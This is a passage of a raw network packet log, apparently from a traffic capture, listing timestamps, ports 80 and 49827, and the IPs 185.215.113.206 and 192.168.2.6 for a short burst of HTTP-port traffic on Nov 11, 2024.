Nov 11, 2024 12:40:29.657248974 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657260895 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657274961 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.657279968 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657291889 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657300949 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657306910 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.657313108 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657316923 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.657331944 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657342911 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657347918 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.657356024 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657366991 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657381058 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.657399893 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.657618046 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657634974 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657646894 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657655001 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.657664061 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657675982 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657685995 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657690048 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.657697916 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657708883 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657713890 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657717943 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.657725096 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657727003 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.657737017 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657748938 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657751083 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.657767057 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.657767057 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657780886 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657789946 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.657792091 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657807112 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657809973 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.657820940 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657831907 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657839060 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.657845020 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657852888 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.657857895 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657910109 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657910109 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.657910109 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.657922029 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657939911 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657949924 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657958031 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.657962084 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657979965 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657984018 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.657991886 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.658003092 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.658015013 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.658015013 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.658030033 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.658035994 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.658046961 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.658050060 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.658063889 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.658071041 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.658077002 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.658090115 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.658097029 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.658113956 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.658140898 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.658763885 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.658776045 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.658787012 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.658798933 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.658816099 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.658817053 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.658828020 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.658838987 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.658850908 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.658854008 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.658863068 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.658879042 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.658890963 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.658899069 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.658904076 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.658915997 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.658931017 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.658935070 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.658942938 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.658957005 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.658962011 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.658977985 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.658988953 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659001112 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659012079 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659013987 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.659020901 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.659045935 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.659125090 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659137011 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659147024 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659157991 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659164906 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.659189939 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.659282923 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659293890 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659303904 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659327030 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659327030 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.659336090 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.659339905 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659352064 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659363031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659370899 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.659374952 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659388065 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659398079 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659413099 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.659413099 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.659421921 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659460068 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.659655094 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659671068 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659682989 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659694910 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659698009 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.659713030 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659715891 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.659739971 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.659765959 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.659769058 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659780025 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659795046 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659804106 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.659807920 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659820080 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659830093 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.659832954 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659846067 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659856081 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.659858942 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659882069 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.659889936 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659898043 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.659909010 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.659930944 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.659951925 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.660011053 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660021067 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660031080 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660051107 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.660078049 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.660140991 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660152912 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660164118 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660185099 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.660212994 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.660376072 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660387993 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660406113 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660415888 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660428047 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660429001 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.660449028 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.660476923 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.660653114 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660665035 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660676003 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660695076 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660700083 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.660706997 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660722971 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660723925 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.660734892 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660746098 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660754919 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.660758972 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660773039 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660777092 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.660784960 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660790920 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.660797119 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660809040 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660816908 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.660825968 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660837889 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660845995 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.660850048 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660854101 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.660861969 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660876036 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660878897 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.660895109 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660907030 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660917044 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.660917997 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660934925 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660939932 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.660948038 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660959959 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660969973 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660972118 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.660981894 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.660994053 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.661003113 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.661010981 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.661015034 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.661024094 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.661032915 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.661036015 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.661047935 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.661055088 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.661058903 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.661070108 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.661082029 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.661084890 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.661094904 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.661103010 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.661107063 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.661118031 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.661144018 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.661180973 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.661215067 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.661245108 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.661257029 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.661281109 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.661299944 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.661303043 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.661317110 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.661329031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.661351919 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.661384106 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.661405087 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.661416054 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.661427021 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.661437035 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.661437988 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.661449909 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.661458015 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.661464930 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.661485910 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.661499977 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.678164959 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.678177118 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.678194046 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.678205967 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.678217888 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.678230047 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.678241014 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.678241968 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.678256989 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.678303003 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.678313017 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.678324938 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.678325891 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.678338051 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.678352118 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.678363085 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.678371906 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.678400040 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.678427935 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.678440094 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.678450108 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.678474903 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.678508043 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.678534031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.678545952 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.678558111 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.678567886 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.678611040 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.678870916 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.678915024 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.678966999 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.678980112 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.678992987 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679003954 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679014921 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679017067 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679027081 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679042101 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679060936 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679115057 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679133892 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679146051 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679156065 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679164886 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679177046 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679186106 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679188967 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679200888 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679208994 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679213047 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679227114 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679229975 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679239035 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679250956 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679259062 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679263115 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679275036 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679279089 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679287910 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679301023 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679306984 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679323912 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679323912 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679337025 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679353952 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679359913 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679368973 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679372072 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679379940 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679392099 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679395914 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679404020 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679414988 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679415941 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679429054 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679430962 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679441929 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679451942 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679455042 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679467916 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679476023 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679481030 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679491043 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679493904 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679506063 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679514885 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679517984 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679531097 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679543018 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679547071 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679555893 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679559946 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679569006 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679578066 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679584026 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679598093 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679606915 CET	49827	80	192.168.2.6	185.215.113.206
